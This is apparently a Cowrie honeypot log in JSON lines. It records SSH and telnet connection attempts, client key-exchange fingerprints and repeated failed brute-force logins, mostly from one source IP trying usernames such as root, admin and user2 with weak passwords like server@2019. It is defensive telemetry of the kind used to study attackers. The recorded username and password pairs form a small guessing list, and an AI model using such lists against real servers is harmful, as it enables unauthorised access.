{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:18.539979Z","src_ip":"112.151.178.49","session":"fdea9a01601b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:18.678229Z","src_ip":"103.190.242.61","session":"080b3f88b1e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"Password1!","message":"login attempt [ec2-user/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:19.387144Z","src_ip":"112.151.178.49","session":"fdea9a01601b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2016","message":"login attempt [admin/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:19.484599Z","src_ip":"103.190.242.61","session":"080b3f88b1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:19.965863Z","src_ip":"103.190.242.61","session":"080b3f88b1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.92671012878418,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:20.086818Z","src_ip":"137.184.155.248","session":"ab6884261e95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54422,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeeadd124b9c","protocol":"ssh","message":"New connection: 103.190.242.61:54422 (10.17.0.5:22) [session: eeeadd124b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:20.165636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:20.170901Z","src_ip":"103.190.242.61","session":"eeeadd124b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:20.365695Z","src_ip":"103.190.242.61","session":"eeeadd124b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:20.599272Z","src_ip":"112.151.178.49","session":"fdea9a01601b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2016","message":"login attempt [user/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:21.195933Z","src_ip":"103.190.242.61","session":"eeeadd124b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:21.677047Z","src_ip":"103.190.242.61","session":"eeeadd124b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54557,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4cf3b83a5e","protocol":"ssh","message":"New connection: 103.190.242.61:54557 (10.17.0.5:22) [session: dc4cf3b83a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:21.875762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:21.881193Z","src_ip":"103.190.242.61","session":"dc4cf3b83a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:22.075250Z","src_ip":"103.190.242.61","session":"dc4cf3b83a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2016","message":"login attempt [user2/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:22.881372Z","src_ip":"103.190.242.61","session":"dc4cf3b83a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:23.361560Z","src_ip":"103.190.242.61","session":"dc4cf3b83a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54684,"dst_ip":"10.17.0.5","dst_port":22,"session":"497924772e85","protocol":"ssh","message":"New connection: 103.190.242.61:54684 (10.17.0.5:22) [session: 497924772e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:23.566250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:23.571274Z","src_ip":"103.190.242.61","session":"497924772e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:23.768167Z","src_ip":"103.190.242.61","session":"497924772e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.53164505958557,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:23.849577Z","src_ip":"137.184.155.248","session":"f96ab8e2eae7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2019","message":"login attempt [root/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:24.581102Z","src_ip":"103.190.242.61","session":"497924772e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:25.061357Z","src_ip":"103.190.242.61","session":"497924772e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54824,"dst_ip":"10.17.0.5","dst_port":22,"session":"e962e3030edb","protocol":"ssh","message":"New connection: 103.190.242.61:54824 (10.17.0.5:22) [session: e962e3030edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:25.264624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:25.269357Z","src_ip":"103.190.242.61","session":"e962e3030edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:25.464434Z","src_ip":"103.190.242.61","session":"e962e3030edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2019","message":"login attempt [admin/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:26.276862Z","src_ip":"103.190.242.61","session":"e962e3030edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:26.757611Z","src_ip":"103.190.242.61","session":"e962e3030edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54953,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb2adf73ea6c","protocol":"ssh","message":"New connection: 103.190.242.61:54953 (10.17.0.5:22) [session: cb2adf73ea6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:26.956484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:26.961812Z","src_ip":"103.190.242.61","session":"cb2adf73ea6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:27.156087Z","src_ip":"103.190.242.61","session":"cb2adf73ea6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2019","message":"login attempt [user/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:27.960189Z","src_ip":"103.190.242.61","session":"cb2adf73ea6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:28.441431Z","src_ip":"103.190.242.61","session":"cb2adf73ea6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55085,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c73ab12058","protocol":"ssh","message":"New connection: 103.190.242.61:55085 (10.17.0.5:22) [session: d3c73ab12058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:28.645914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:28.650802Z","src_ip":"103.190.242.61","session":"d3c73ab12058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:28.847432Z","src_ip":"103.190.242.61","session":"d3c73ab12058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2019","message":"login attempt [user2/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:29.661126Z","src_ip":"103.190.242.61","session":"d3c73ab12058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.924537897109985,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:29.689953Z","src_ip":"137.184.155.248","session":"2e2742e9f850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:30.142152Z","src_ip":"103.190.242.61","session":"d3c73ab12058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55222,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef69f0d101e2","protocol":"ssh","message":"New connection: 103.190.242.61:55222 (10.17.0.5:22) [session: ef69f0d101e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:30.339860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:30.353746Z","src_ip":"103.190.242.61","session":"ef69f0d101e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:30.547478Z","src_ip":"103.190.242.61","session":"ef69f0d101e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2021","message":"login attempt [root/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:31.349676Z","src_ip":"103.190.242.61","session":"ef69f0d101e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:31.830934Z","src_ip":"103.190.242.61","session":"ef69f0d101e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55352,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e696fd62ca1","protocol":"ssh","message":"New connection: 103.190.242.61:55352 (10.17.0.5:22) [session: 1e696fd62ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:32.035093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:32.040129Z","src_ip":"103.190.242.61","session":"1e696fd62ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-